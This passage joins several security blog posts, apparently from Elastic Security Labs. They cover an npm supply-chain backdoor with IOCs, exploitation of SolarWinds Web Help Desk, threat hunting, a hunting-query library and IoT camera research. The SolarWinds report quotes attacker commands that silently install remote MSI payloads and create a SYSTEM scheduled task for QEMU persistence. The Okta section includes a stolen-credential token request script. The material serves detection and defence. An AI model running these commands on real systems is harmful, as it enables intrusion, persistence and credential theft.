On initial check-in, it fingerprints the host, collecting hostname, username, OS version, hardware model, timezone, and a full process listing (ps -eo user,pid,command), which surfaces via the Suspicious XPC Service Child Process endpoint rule, capturing unexpected child process activity originating from the backdoor:

The macOS backdoor facilitates:

C2 connection by passing a URL directly as an argument.
AppleScript execution using osascript via temporary hidden .scpt files dropped to /tmp/
Filesystem enumeration targeting /Applications and ~/Library/Application Support
Downloading and executing remote base64-encoded payloads.
Ad-hoc code signing of dropped payloads (codesign --force --deep --sign - “/private/tmp/.*”) so it can run past Gatekeeper.

The binary is not packed or obfuscated, ships with debug entitlements enabled, and retains developer build paths (Jain_DEV/client_mac/macWebT) and uses a spoofed IE8/Windows XP user-agent string (mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)).

These detections collectively follow the macOS delivery path from staged AppleScript execution to payload launch and post-execution behavior:

Conclusion

This supply chain attack highlights how little complexity is required to achieve cross-platform compromise when execution is triggered during installation.

Across Linux, Windows, and macOS, we consistently observed the same core pattern: a Node.js process spawning native OS execution to retrieve and launch a remote payload, followed by immediate detachment or hidden execution.

From a detection perspective, the key takeaway is that the most reliable signals are not in the package itself, but in what happens immediately after installation. Process ancestry, network retrieval, and detached execution provide a stable detection surface that remains effective even when payloads, filenames, or infrastructure change.

Elastic detections focused on this behavior provided consistent coverage of the delivery stage across all platforms, without relying on static indicators.

Indicators of Compromise (IOCs)

Related Alerts

Malicious Packages

| Package | Version | Hash (shasum) | | ----- | ----- | ----- | | axios | 1.14.1 | 2553649f232204966871cea80a5d0d6adc700ca | | axios | 0.30.4 | d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71 | | plain-crypto-js | 4.2.1 | 07d889e2dadce6f3910dcbc253317d28ca61c766 |

Additional related packages observed in the ecosystem abuse:

| Package | Version | | ----- | ----- | | @shadanai/openclaw | 2026.3.28-2, 2026.3.28-3, 2026.3.31-1, 2026.3.31-2 | | @qqbrowser/openclaw-qbot | 0.0.130 |

Script / Payload Hashes (SHA256)

| File | SHA256 | | ----- | ----- | | setup.js | e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09 | | /tmp/ld.py | 6483c004e207137385f480909d6edecf1b699087378aa91745ecba7c3394f9d7 | | 6202033.ps1 | ed8560c1ac7ceb6983ba995124d5917dc1a00288912387a6389296637d5f815c | | system.bat | e49c2732fb9861548208a78e72996b9c3c470b6b562576924bcc3a9fb75bf9ff | | com.apple.act.mond | 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a |

Network Indicators

| Type | Indicator | | ----- | ----- | | C2 Domain | sfrclak[.]com | | C2 IP | 142.11.206[.]73 | | C2 URL | http://sfrclak[.]com:8000/6202033 | | User-Agent | mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0) | | macOS POST body | packages[.]npm[.]org/product0 | | Windows POST body | packages[.]npm[.]org/product1 | | Linux POST body | packages[.]npm[.]org/product2 |

File System Indicators

Cross-platform

| Path / Artifact | Description | | ----- | ----- | | $TMPDIR/6202033 | Temporary staging artifact | | */node_modules/plain-crypto-js/setup.js | Node.js first-stage dropper |

Linux

| Path | Description | | ----- | ----- | | /tmp/ld.py | Python RAT second stage |

Windows

| Path | Description | | ----- | ----- | | %PROGRAMDATA%\wt.exe | Renamed powershell.exe (execution proxy) | | %PROGRAMDATA%\system.bat | Persistence launcher | | HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate | Persistence key | | %TEMP%\6202033.vbs | VBS launcher (self-deletes) | | %TEMP%\6202033.ps1 | PowerShell payload (self-deletes) |

macOS

| Path | Description | | ----- | ----- | | /Library/Caches/com.apple.act.mond | Mach-O backdoor payload | | /tmp/*.scpt | Temporary AppleScript launcher |

SolarWinds Web Help Desk Exploitation - February 2026

Elastic Security Labs — Tue, 10 Feb 2026 00:00:00 GMT

Summary

On February 6, 2026, Microsoft reported the exploitation of SolarWinds Web Help Desk (WHD) servers
The exploitation facilitated multi-stage intrusions leveraging remote monitoring and management software (RMM), credential dumping, and setting up tunnels and RDP for persistent access
While not yet confirmed, the activity may be associated with one of the following disclosed CVEs: CVE-2025-26399, CVE-2025-40536, and CVE-2025-40551
Elastic Security Labs does not observe telemetry events related to this activity as of the date of this publication
Elastic Defend provides comprehensive visibility, along with 5 prebuilt prevention and 11 prebuilt detection capabilities across this reported activity

Background

Multiple intrusions have been publicly reported starting on February 6, 2026 stemming from Internet-connected servers utilizing SolarWinds Web Help Desk software. This exploitation activity reportedly first occurred in December 2025.

Given the number of recent CVEs affecting this product, it’s not yet clear which of several CVEs is directly responsible for these campaigns. Below are the CVEs involved in this reported activity:

CVE-2025-26399 - SolarWinds Web Help Desk AjaxProxy Deserialization of Untrusted Data Remote Code Execution Vulnerability
CVE-2025-40536 - SolarWinds Web Help Desk Security Control Bypass Vulnerability
CVE-2025-40551 - SolarWinds Web Help Desk Deserialization of Untrusted Data Remote Code Execution Vulnerability

Below is a table of the vulnerability descriptions and the impacted product versions:

After exploitation, the threat actors are documented to have abused otherwise legitimate RMM software to gain persistent access to victim environments. Additional reporting noted the use of Velociraptor being abused for post-compromise execution, such as disabling Microsoft Defender and setting up a Cloudflare tunnel.

Once the TAs had gained network access, they configured a scheduled task to start a QEMU virtual system to maintain remote access. Credential dumping activity was also observed, including the use of DCSync and the extraction of the NTDS.dit database from a Windows domain controller.

The following sections detail Elastic Security detection and prevention rules that can detect and mitigate these intrusive activities.

Execution Flow

Initial access

Following the successful exploitation of the SolarWinds Web Help Desk (WHD), the threat actors established an interactive shell. Observations indicate a heavy reliance on "living-off-the-land" (LotL) techniques, where legitimate system utilities and programs such as RMMs are used to perform malicious actions.

The original attack chain happens from the WHD service wrapper (wrapper.exe) spawning java.exe which then spawns the Windows command processor (cmd.exe). An Elastic SIEM rule has been created for the community to detect unusual child process activity from the SolarWinds Web Help Desk application.

any where host.os.type == "windows" and
(
 (event.category == "library" and
  process.executable : ("C:\\Program Files\\WebHelpDesk\\*\\java.exe", "C:\\Program Files (x86)\\WebHelpDesk\\*\\java.exe") and
  (dll.path : "\\Device\\Mup\\*" or dll.code_signature.trusted == false or ?dll.code_signature.exists == false)) or

 (event.category == "process" and process.name : ("cmd.exe", "powershell.exe", "rundll32.exe") and
  process.parent.executable : ("C:\\Program Files\\WebHelpDesk\\*\\java*.exe", "C:\\Program Files (x86)\\WebHelpDesk\\*\\java*.exe"))
)

SIEM Rule - Suspicious SolarWinds Web Help Desk Java Module Load or Child Process

One of the initial attack chains involved installing a remotely-hosted MSI installer from an anonymous file-hosting service called Catbox. The following command-line was observed:

msiexec /q /i hxxps://files.catbox[.]moe/tmp9fc.msi

In order to detect this activity, Elastic has a SIEM prebuilt rule to detect remote installation of MSI files here, and an endpoint behavior protection here.

Suspicious child processes from Java and SolarWinds WHD represent the earliest phase of this attack, which resulted in the installation of an RMM MSI file. This remote monitoring and management utility provides some of the functionality of a conventional backdoor while resembling benign administrative software.

Discovery

After the RMM agent was configured, the threat group moved to hands-on keyboard activity performing reconnaissance and discovery within the network.
They then leveraged the RMM agent tooling to perform discovery within the Windows network executing commands targeting information related to Active Directory. An observed command line is shown below:

net group "domain computers" /do

An existing SIEM rule designed to identify Windows account group discovery detects this reconnaissance technique and is available here.

Evasion

One of the more notable choices used by the threat actor in one campaign was the usage of open-source forensic tool, Velociraptor. While this legitimate tool is traditionally used to collect forensic artifacts from endpoints, the adversaries used it for code execution and file staging. The threat group silently installed Velociraptor using the remote MSI command shown below and a prebuilt Elastic Security rule is available:

msiexec /q /i hxxps://vdfccjpnedujhrzscjtq.supabase[.]co/storage/v1/object/public/image/v4.msi

They followed this up with an installation of the Cloudflare Tunnel client (Cloudflared) with the following command:

msiexec /q /i hxxps://github[.]com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.msi

Echoing trends observed throughout 2025 and described in the Elastic Global Threat Report, adversaries increasingly abuse trusted networks for transport encryption and to take advantage of benign reputation. The remote MSI installation rules discussed earlier in this article also apply in this case; however, installing a legitimate security tool is likely to appear benign to many enterprises. Cisco Talos has previously highlighted this emerging attacker trend involving the use of Velociraptor for post-compromise activity.

Other observations in this intrusion set included the threat actor disabling security controls such as Windows Defender and Window Firewall through registry key modifications. Existing Elastic SIEM and endpoint rules identify these attempts to undermine security settings.

Persistence

In order to maintain continued access, the threat actors set up a Windows scheduled task using the following command-line:

SCHTASKS /CREATE /V1 /RU SYSTEM /SC ONSTART /F /TN "TPMProfiler" /TR        "C:\Users\\tmp\qemu-system-x86_64.exe -m 1G -smp 1 -hda vault.db -        device e1000,netdev=net0 -netdev user,id=net0,hostfwd=tcp::22022-:22"

This scheduled task named TPMProfiler was configured to execute QEMU, a system-level virtualization and emulation tool. QEMU was then used to establish an SSH connection, facilitating continued access to the compromised system.

Elastic Security published and maintains a SIEM detection rule to detect the creation of this scheduled task.

In order to detect the QEMU tunnelling activity, Elastic Security has this Elastic Defend rule here and an Elastic prebuilt detection rule here.

Credential Access

As part of these attacks, Microsoft also mentioned credential dumping of the Active Directory Domain Database (ntds.dit). Elastic provides multiple detections for this behavior, including the rules referenced here and here.

Recommendations

Apply the latest SolarWinds Web Help Desk patches.
Rotate all service and administrative credentials that are associated with SolarWinds Web Help Desk.
Conduct host-level reviews of any impacted servers and endpoints to identify unauthorized activity.
Identify and remove any RMM usage associated with this activity. Review organizational policy and monitoring strategies for RMM tools.

Detecting SolarWinds WHD exploitation

Elastic Security prebuilt detection rules

Elastic Defend prebuilt prevention rules

References

https://www.microsoft.com/en-us/security/blog/2026/02/06/active-exploitation-solarwinds-web-help-desk/

MITRE ATT&CK Mapping

| Tactic | Technique | ID | | :---- | :---- | :---- | | Initial Access | Exploit Public-Facing Application | T1190 | | Execution | PowerShell | T1059.001 | | Lateral Movement | Remote Service Session Hijacking | T1563 | | Credential Access | OS Credential Dumping: LSASS Memory | T1003.001 | | Persistence | Scheduled Task/Job | T1053.005 |

From Hypothesis to Action: Proactive Threat Hunting with Elastic Security

Paul Ewing,Sandiya Ramamoorthy — Thu, 08 Jan 2026 00:00:00 GMT

When a new threat actor technique emerges — whether from a research blog, an intelligence feed, or breaking news — every threat hunter instinctively shifts into hypothesis mode. Could this be happening in my environment? Are early signals hiding in the noise?

Take the recent TOLLBOOTH research as an example. The moment Elastic Security Labs published the attack chain, an analyst might begin forming hypotheses based on specific techniques described, such as:

Have historically frozen or archived IIS server logs shown any anomalies when re-examined with full telemetry?
Are there signs of credential dumping or privilege escalation attempts on any IIS servers?

This is the essence of hypothesis-driven hunting; start with a developing threat, and rapidly ask targeted questions. It’s one of the most effective ways to get ahead of emerging attacks, but it demands broad visibility and tools that can keep up with your curiosity.

The reality for many SOC teams, however, falls short. They face data silos, limited search capabilities, and the fatigue of manual correlation.

Elastic Security is designed to remove these barriers by enabling hypothesis-driven threat hunting at speed and scale. By unifying security telemetry and enabling analytics across clusters, threat hunters can ask complex questions across all their data, correlate signals, and validate hypotheses quickly without manual data stitching.

This capability is delivered through a set of foundational building blocks that work together:

Agentic workflows triage alerts, while a knowledge-grounded AI Assistant generates validated ES|QL queries, drives remediation, and recommends next steps.
Elastic Security Labs to bring continuously updated threat research and adversary insights directly into detections and investigations.
Detection rules that provide out-of-the-box coverage aligned to real-world attack techniques and hunting scenarios.
Entity analytics to correlate users, hosts, and services, assign risk scores, and surface anomalies to enrich every investigation.
Machine learning and anomaly detection to surface deviations from normal behavior and expose unknown or emerging threats.
ES|QL, visualizations, and cross-cluster search to enable fast, expressive querying, intuitive analysis, and seamless hunting across distributed environments without blind spots.

Together, these building blocks give security teams the speed, scale, and analytical depth needed to move from reactive investigation to confident, proactive threat hunting—testing hypotheses across all of their data within a single, unified Elastic Security platform.

Into the woods: Navigating a real-world LOLBins hunt

This section shows how a threat hunt plays out in practice, moving from an empty search bar to a confirmed and contained threat through a real-world scenario focused on Living Off the Land Binaries (LOLBins).

Build your hypothesis with a RAG-powered AI Assistant

Your investigation can begin even before writing a single query. You can use Elastic’s retrieval-augmented generation (RAG)–powered AI Assistant to pull in trusted knowledge sources, such as Elastic Security Labs research, and build the foundation of your hypothesis. You can add any trusted sources as knowledge to ensure the Assistant reflects the data you rely on.

If you don’t have a specific target yet, you can ask the Assistant,

“Based on current trends, what hypothesis should I start my hunt with today?” The Assistant scans the configured knowledge base, which provides relevant context and directly generates a primary hypothesis along with supporting reasons and evidence. In this scenario, Elastic Security Labs content has been added to the knowledge base to supply the context.

Sit back while AI Assistant creates your tailored threat hunting query

Once you accept the LOLBin hypothesis, the AI Assistant generates a precise ES|QL threat hunting query tailored to your environment. Instead of writing complex syntax from scratch, you receive a targeted search designed to surface the specific suspicious behaviors.

To ensure queries are ready to run, the Elastic AI Assistant uses an agentic workflow to generate bespoke ES|QL queries from human-supplied use cases. It draws on your Elastic cluster data to craft accurate, ready-to-run responses and performs automatic validation before returning the final query. This background validation removes the need for manual troubleshooting, delivering a verified, ready-to-use query that can be pulled directly into your investigation timeline from the AI Assistant.

Alternatively, you can link a GitHub repository of Elastic’s threat hunting queries to the Assistant’s knowledge base to use existing queries as a baseline for your next steps.

Hunt Threats Across Your Entire Environment with ES|QL

If you manage a global environment and need to determine whether this activity is occurring in other clusters, you can expand your hypothesis by asking the AI Assistant to adapt the query for a Cross-Cluster Search (CCS). This enables you to search across multiple clusters in your environment—including frozen and long-term data—without disrupting your investigative workflow.

Seamlessly transition from the AI Assistant to the timeline view and run the query. This targeted search uncovers a critical finding: an instance of rundll32.exe executing on a Windows server with hostname elastic-defend-endpoint under the gbadmin user account.

Add context with analytics and visualizations

Finding a hit is only step one; now, you must determine if this is an admin performing maintenance or an actual attack. Validating your ideas requires deep analytics across hosts and users. By drilling down into the affected host, you land in the Entity Details.

Here, you’re not just seeing a hostname. You’re seeing a consolidated view of the host’s risk score, the specific alerts contributing to that score, and the asset’s criticality—all in one place. By bringing together detection signals, behavioral anomalies, and asset importance, Elastic’s entity risk scoring helps analysts quickly understand why an asset is risky, how urgent the threat is, and where to focus first. This unified context reduces investigation time, minimizes guesswork, and enables confident prioritization in high-volume environments.

Confirm the anomaly with machine learning

When you examine the risk score, the supporting evidence is displayed alongside it. You can see the specific alerts contributing to the elevated risk score, including a mix of medium-severity alerts and a Machine Learning (ML) alert such as “Unusual Windows Path Activity”.

Because ML is uniquely suited to detecting subtle deviations that static rules often miss, seeing an ML alert contributing to the risk score helps validate that this activity isn’t just noise—it points to a meaningful behavioral anomaly.

The event details immediately visualize the process lineage, revealing the critical evidence right in the panel. These insights transform your hypothesis from plausible to provable.

Take Action: From Insight to Response

After validating your hypothesis by uncovering suspicious activity, the immediate next step is response. Elastic Security lets responders act directly from their investigations without switching platforms.

Once a compromised host is confirmed, you can take action from the console by isolating the host to prevent lateral movement or terminating the malicious process tree uncovered in your LOLBIN hunt. This seamless transition from investigation to response enables rapid containment using the same tools and context.

Operationalize Queries and Automate Hunting

To automate future hunts and eliminate manual verification of recurring patterns, you can directly import a query into an operational detection rule, or create a rule for specific behaviors, anomalies, or new term values appearing for the first time, and convert it into a fully operational detection rule with a single click.

In enterprise environments, a LOLBin hunt can quickly generate a high volume of alerts. This is where agentic Attack Discovery makes a big difference. Its primary purpose is to help you triage efficiently by automatically correlating signals and highlighting the activity that requires immediate attention.

You can also group and tag hunting-related alerts and run Attack Discovery specifically on those sets to uncover meaningful patterns. This flexibility makes Attack Discovery valuable not only for automated alert triage, but also for advanced, hypothesis-driven threat hunting workflows.

Bonus: Automate with Elastic Agent Builder

Imagine building a LOLBin Hunter custom agent—purpose-built to hunt for LOLBin activity across your security data. Using Elastic Agent Builder, you can create this agent powered by an LLM and equipped with tools such as the ES|QL queries used in your manual workflow.

Once configured, you can interact with your security data using natural language, and the agent will reason through your request, select the most relevant tools, and take action. For example, you could ask: “Show me LOLBin activity that triggered machine learning anomalies and summarize the affected hosts and their risk scores.”

Stay ahead of emerging attacks with Elastic Security

Hypothesis-driven threat hunting is critical for staying ahead of modern attacks, but it can be complex and time-consuming without the right tools. Elastic Security combines AI-assisted investigation, ES|QL search, contextual analytics, machine learning, and integrated response to make every stage simpler and faster.

From the moment a new threat emerges to the point of actionable response, Elastic empowers analysts to uncover hidden signals, validate their hypotheses, and act decisively—turning raw data into intelligence and intelligence into action.

Interested in learning more about Elastic Security? Browse our webinars, events, and more or get started with your free trial today.

Elevate Your Threat Hunting with Elastic

Terrance DeJesus,Mika Ayenson,Samir Bousseaden,Justin Ibarra — Fri, 18 Oct 2024 00:00:00 GMT

We are excited to announce a new resource in the Elastic Detection Rules repository: a collection of hunting queries powered by various Elastic query languages!

These hunting queries can be found under the Hunting package. This initiative is designed to empower our community with specialized threat hunting queries and resources across multiple platforms, complementing our robust SIEM and EDR ruleset. These are developed to be consistent with the paradigms and methodologies we discuss in the Elastic Threat Hunting guide.

Why Threat Hunting?

Threat hunting is a proactive approach to security that involves searching for hidden threats that evade conventional detection solutions while assuming breach. At Elastic, we recognize the importance of threat hunting in strengthening security defenses and are committed to facilitating this critical activity.

While we commit a substantial amount of time and effort towards building out resilient detections, we understand that alerting on malicious behavior is only one part of an effective overall strategy. Threat hunting moves the needle to the left, allowing for a more proactive approach to understanding and securing the environment.

The idea is that the rules and hunt queries will supplement each other in many ways. Most hunts also serve as great pivot points once an alert has triggered, as a powerful means to ascertain related details and paint a full picture. They are just as useful when it comes to triaging as proactively hunting.

Additionally, we often find ourselves writing resilient and robust logic that just doesn’t meet the criteria for a rule, whether it is too noisy or not specific enough. This will serve as an additional means to preserve the value of these research outcomes in the form of these queries.

What We Are Providing

The new Hunting package provides a diverse range of hunting queries targeting all the same environments as our rules do, and potentially even more, including:

Endpoints (Windows, Linux, macOS)
Cloud (CSPs, SaaS providers, etc.)
Network
Large Language Models (LLM)
Any other Elastic integration or datasource that adds value

These queries are crafted by our security experts to help you gather initial data that is required to test your hypothesis during your hunts. These queries also include names and descriptions that may be a starting point for your hunting efforts as well. All of this valuable information is then stored in an index file (both YAML and Markdown) for management, ease-of-use and centralizing our collection of hunting queries.

Hunting Package

The Hunting package has also been made to be its own module within Detection Rules with a few simple commands for easy management and searching throughout the catalogue of hunting queries. Our goal is not to provide an out-of-the-box hunting tool, but rather a foundation for programmatically managing and eventually leveraging these hunting queries.

Existing Commands:

Generate Markdown - Load TOML files or path of choice and convert to Markdown representation in respective locations.

Refresh Index - Refresh indexes from the collection of queries, both YAML and Markdown.

Search - Search for hunting queries based on MITRE tactic, technique or subtechnique IDs. Also includes the ability to search per data source.

Run Query - Run query of choice against a particular stack to identify hits (requires pre-auth). Generates a search link for easy pivot.

View Hunt- View a hunting file in TOML or JSON format.

Hunt Summary- Generate count statistics based on breakdown of integration, platform, or language

Benefits of these Hunt Queries

Each hunting query will be saved in its respective TOML file for programmatic use, but also have a replicated markdown file that serves as a quick reference for manual tasks or review. We understand that while automation is crucial to hunting maturity, often hunters may want a quick and easy copy-paste job to reveal events of interest. Our collection of hunt queries and CLI options offers several advantages to both novice and experienced threat hunters. Each query in the library is designed to serve as a powerful tool for detecting hidden threats, as well as offering additional layers of investigation during incident response.

Programmatic and Manual Flexibility: Each query is structured in a standardized TOML format for programmatic use, but also offers a Markdown version for those who prefer manual interaction.
Scalable queries: Our hunt queries are designed with scalability in mind, leveraging the power of Elastic’s versatile and latest query languages such as ES|QL. This scalability ensures that you can continuously adapt your hunting efforts as your organization’s infrastructure grows, maintaining high levels of visibility and security.
Integration with Elastic’s Product: These queries integrate with the Elastic Stack and our automation enables you to test quickly, enabling you to pivot through Elastic’s Security UI for deeper analysis.
Diverse Query Types Available: Out hunt queries support a wide variety of query languages, including KQL, EQL, ES|QL, OsQuery, and YARA, making them adaptable across different data sources and environments. Whether hunting across endpoints, cloud environments, or specific integrations like Okta or LLMs, users can leverage the right language for their unique needs.
Extended Coverage for Elastic Prebuilt Rules: While Elastic’s prebuilt detection rules offer robust coverage, there are always scenarios where vendor detection logic may not fully meet operational needs due to the specific environment or nature of the threat. These hunting queries help to fill in those gaps by offering broader and more nuanced coveraged, particularly for behaviors that don’t nearly fit into rule-based detections.
Stepping stone for hunt initialization or pivoting: These queries serve as an initial approach to kickstart investigations or pivot from initial findings. Whether used proactively to identify potential threats or reactively to expand upon triggered alerts, these queries can provide additional context and insights based on threat hunter hypothesis and workflows.
MITRE ATT&CK Alignment: Every hunt query includes MITRE ATT&CK mappings to provide contextual insight and help prioritize the investigation of threats according to threat behaviors.
Community and Maintenance: This hunting module lives within the broader Elastic Detection Rules repository, ensuring continual updates alongside our prebuilt rules. Community contributions also enable our users to collaborate and expand unique ways to hunt.

As we understand the fast-paced nature of hunting and need for automation, we have included searching capabilities and a run option to quickly identify if you have matching results from any hunting queries in this library.

Details of Each Hunting Analytic

Each hunting search query in our repository includes the following details to maximize its effectiveness and ease of use:

Data Source or Integration: The origin of the data utilized in the hunt.
Name: A descriptive title for the hunting query.
Hypothesis: The underlying assumption or threat scenario the hunt aims to investigate. This is representated as the description.
Query(s): Provided in one of several formats, including ES|QL, EQL, KQL, or OsQuery.
Notes: Additional information on how to pivot within the data, key indicators to watch for, and other valuable insights.
References: Links to relevant resources and documentation that support the hunt.
Mapping to MITRE ATT&CK: How the hunt correlates to known tactics, techniques, and procedures in the MITRE ATT&CK framework.

For those who prefer a more hands-on approach, we also provide TOML files for programmatic consumption. Additionally, we offer an easy converter to Markdown for users who prefer to manually copy and paste the hunts into their systems.

Hunting Query Creation Example:

In the following example, we will explore a basic hunting cycle for the purpose of creating a new hunting query that we want to use in later hunting cycles. Note that this is an oversimplified hunting cycle that may require several more steps in a real-world application.

Hypothesis: We assume that a threat adversary (TA) is targeting identity providers (IdPs), specifically Okta, by compromising cloud accounts by identifying runtime instances in CI/CD pipelines that use client credentials for authentication with Okta’s API. Their goal is to identify unsecure credentials, take these and obtain an access token whose assumed credentials are tied to an Okta administrator.

Evidence: We suspect that in order to identify evidence of this, we need Okta system logs that report API activity, specifically any public client app sending access token requests where the grant type provided are client credentials. We also suspect that because the TA is unaware of the mapped OAuth scopes for this application, that when the access token request is sent, it may fail due to the incorrect OAuth scopes being explicitly sent. We also know that demonstrating proof-of-possession (DPoP) is not required for our client applications during authentication workflow because doing so would be disruptive to operations so we prioritize operability over security.

Below is the python code used to emulate the behavior of attempting to get an access token with stolen client credentials where the scope is okta.trustedOrigins.manage so the actor can add a new cross-origins (CORS) policy and route client authentication through their own server.

import requests

okta_domain = "TARGET_DOMAIN"
client_id = "STOLEN_CLIENT_ID"
client_secret = "STOLEN_CLIENT_CREDENTIALS"

# Prepare the request
auth_url = f"{okta_domain}/oauth2/default/v1/token"
auth_data = {
    "grant_type": "client_credentials",
    "scope": "okta.trustedOrigins.manage" 
}
auth_headers = {
    "Accept": "application/json",
    "Content-Type": "application/x-www-form-urlencoded",
    "Authorization": f"Basic {client_id}:{client_secret}"
}
# Make the request
response = requests.post(auth_url, headers=auth_headers, data=auth_data)

# Handle the response
if response.ok:
    token = response.json().get("access_token")
    print(f"Token: {token}")
else:
    print(f"Error: {response.text}")

Following this behavior, we formulate a query as such for hunting where we filter out some known client applications like DataDog and Elastic’s Okta integrations.

from logs-okta.system*
| where @timestamp > NOW() - 7 day
| where
    event.dataset == "okta.system"

    // filter on failed access token grant requests where source is a public client app
    and event.action == "app.oauth2.as.token.grant"
    and okta.actor.type == "PublicClientApp"
    and okta.outcome.result == "FAILURE"

    // filter out known Elastic and Datadog actors
    and not (
        okta.actor.display_name LIKE "Elastic%"
        or okta.actor.display_name LIKE "Datadog%"
    )

    // filter for scopes that are not implicitly granted
    and okta.outcome.reason == "no_matching_scope"

As shown below, we identify matching results and begin to pivot and dive deeper into this investigation, eventually involving incident response (IR) and escalating appropriately.

During our after actions report (AAR), we take note of the query that helped identify these compromised credentials and decide to preserve this as a hunting query in our forked Detection Rules repository. It doesn’t quite make sense to create a detection rule based on the fidelity of this and knowing the constant development work we do with custom applications that interact with the Okta APIs, therefore we reserve it as a hunting query.

Creating a new hunting query TOML file in the hunting/okta/queries package, we add the following information:

author = "EvilC0rp Defenders"
description = """Long Description of Hunt Intentions"""
integration = ["okta"]
uuid = "0b936024-71d9-11ef-a9be-f661ea17fbcc"
name = "Failed OAuth Access Token Retrieval via Public Client App"
language = ["ES|QL"]
license = "Apache License 2.0"
notes = [Array of useful notes from our investigation]
mitre = ['T1550.001']
query = [Our query as shown above]

With the file saved we run python -m hunting generate-markdown FILEPATH to generate the markdown version of it in hunting/okta/docs/.

Once saved, we can view our new hunting content by using the view-rule command or search for it by running the search command, specifying Okta as the data source and T1550.001 as the subtechnique we are looking for.

Last but not least, we can check that the query runs successfully by using the run-query command as long as we save a .detection-rules-cfg-yaml file with our Elasticsearch authentication details, which will tell us if we have matching results or not.

Now we can refresh our hunting indexes with the refresh-index command and ensure that our markdown file has been created.

How We Plan to Expand

Our aim is to continually enhance the Hunting package with additional queries, covering an even wider array of threat scenarios. We will update this resource based on:

Emerging Threats: Developing new queries as new types of cyber threats arise.
Community Feedback: Incorporating suggestions and improvements proposed by our community.
Fill Gaps Where Traditional alerting Fails: While we understand the power of our advanced SIEM and EDR, we also understand how some situations favor hunting instead.
Longevity and Maintenance: Our hunting package lives within the very same repository we actively manage our out-of-the-box (OOTB) prebuilt detection rules for the Elastic SIEM. As a result, we plan to routinely add and update our hunting resources.
New Features: Develop new features and commands to aid users with the repository of their hunting efforts.

Our expansion would not be complete without sharing to the rest of the community in an effort to provide value wherever possible. The adoption of these resources or even paradigms surrounding threat scenarios is an important effort by our team to help hunting efforts.

Lastly, we acknowledge and applaud the existing hunting efforts done or in-progress by our industry peers and community. We also acknowledge that maintaining such a package of hunting analytics and/or queries requires consistency and careful planning. Thus this package will receive continued support and additional hunting queries added over time, often aligning with our detection research efforts or community submissions!

Get Involved

Explore the Hunting resources, utilize the queries and python package, participate in our community discussion forums to share your experiences and contribute to the evolution of this resource. Your feedback is crucial for us to refine and expand our offerings.

Conclusion

With the expansion of these hunting resources, Elastic reaffirms its commitment to advancing cybersecurity defenses. This resource is designed for both experienced threat hunters and those new to the field, providing the tools needed to detect and mitigate sophisticated cyber threats effectively.

Stay tuned for more updates, and happy hunting!

Storm on the Horizon: Inside the AJCloud IoT Ecosystem

Mark Mager,Eric Forte — Fri, 20 Sep 2024 00:00:00 GMT

Introduction

Wi-Fi cameras are some of the most common IoT devices found in households, businesses, and other public spaces. They tend to be quite affordable and provide users with easy access to a live video stream on their mobile device from anywhere on the planet. As is often the case with IoT devices, security tends to be overlooked in these cameras, leaving them open to critical vulnerabilities. If exploited, these vulnerabilities can lead to devastating effects on the cameras and the networks within which they’re deployed. They can lead to the compromise of the sensitive PII of their users.

A recent Elastic ON Week afforded us the opportunity to explore the attack surface of these types of devices to gain a deeper understanding of how they are being compromised. We focused primarily on performing vulnerability research on the Wansview Q5 (along with the nearly identical Q6), one of the more popular and affordable cameras sold on Amazon. Wansview is a provider of security products based in Shenzhen, China, and one of Amazon's more prominent distributors of Wi-Fi cameras.

The Q5 offers the same basic feature set seen in most cameras:

Pan / tilt / zoom
Night vision
Two-way audio
Video recording to SD card
Integration with Smart Home AI assistants (e.g. Alexa)
ONVIF for interoperability with other security products
RTSP for direct access to video feed within LAN
Automated firmware updates from the cloud
Remote technical support
Shared device access with other accounts
Optional monthly subscription for cloud storage and motion detection

Like most other Wi-Fi cameras, these models require an active connection to their vendor cloud infrastructure for basic operation; without access to the Internet, they simply will not operate. Before a camera can go live, it must be paired to a registered user account via Wansview’s official mobile app and a standard QR code-based setup process. Once this process is complete, the camera will be fully online and operational.

AJCloud: A Brief Introduction

Though Wansview has been in operation since 2009, at the moment they primarily appear to be a reseller of camera products built by a separate company based in Nanjing, China: AJCloud.

AJCloud provides vendors with access to manufactured security devices, the necessary firmware, mobile and desktop user applications, the cloud management platform, and services that connect everything together. Since AJCloud was founded in 2018, they have partnered with several vendors, both large and small, including but not limited to the following:

A cursory review of mobile and desktop applications developed and published by AJCloud on Google Play, Apple’s App Store, and the Microsoft Store reveals their ties to each of these vendors. Besides superficial company branding, these applications are identical in form and function, and they all require connectivity with the AJCloud management platform.

As for the cameras, it is apparent that these vendors are selling similar models with only minor modifications to the camera housing and underlying hardware.

The resemblance between the Faleemi 886 and the Wansview Q6 (1080p) is obvious

Reusing hardware manufacturing and software development resources likely helps to control costs and simplify logistics for AJCloud and its resellers. However, this streamlining of assets also means that security vulnerabilities discovered in one camera model would likely permeate all products associated with AJCloud.

Despite its critical role in bringing these devices to consumers, AJCloud has a relatively low public profile. However, IPVM researchers recently published research on a significant vulnerability (which has since been resolved) in AJCloud’s GitLab repository. This vulnerability would allow any user to access source code, credentials, certificates, and other sensitive data without requiring authentication.

Though total sales figures are difficult to derive for Wansview and other vendors in the Wi-Fi camera space, IPVM estimated that at least one million devices were connected to the AJCloud platform at the time of publication of their report. As camera sales continue to soar into the hundreds of millions, it is safe to assume that more of AJCloud’s devices will be connected in homes across the world for years to come.

Initial Vulnerability Research Efforts

To gain a deeper understanding of the security posture of the Wansview Q5, we attacked it from multiple angles:

At first, our efforts were primarily focused on active and passive network reconnaissance of the camera and the Android version of Wansview Cloud, Wansview’s official mobile app. We scanned for open ports, eavesdropped on network communications through man-in-the-middle (MitM) attacks, attempted to coerce unpredictable behavior from the cameras through intentional misconfiguration in the app, and disrupted the operation of the cameras by abusing the QR code format and physically interacting with the camera. The devices and their infrastructure were surprisingly resilient to these types of surface-level attacks, and our initial efforts yielded few noteworthy successes.

We were particularly surprised by our lack of success intercepting network communications on both the camera and the app. We repeatedly encountered robust security features (e.g., certificate pinning, app and OS version restrictions, and properly secured TLS connections) that disrupted our attempts.

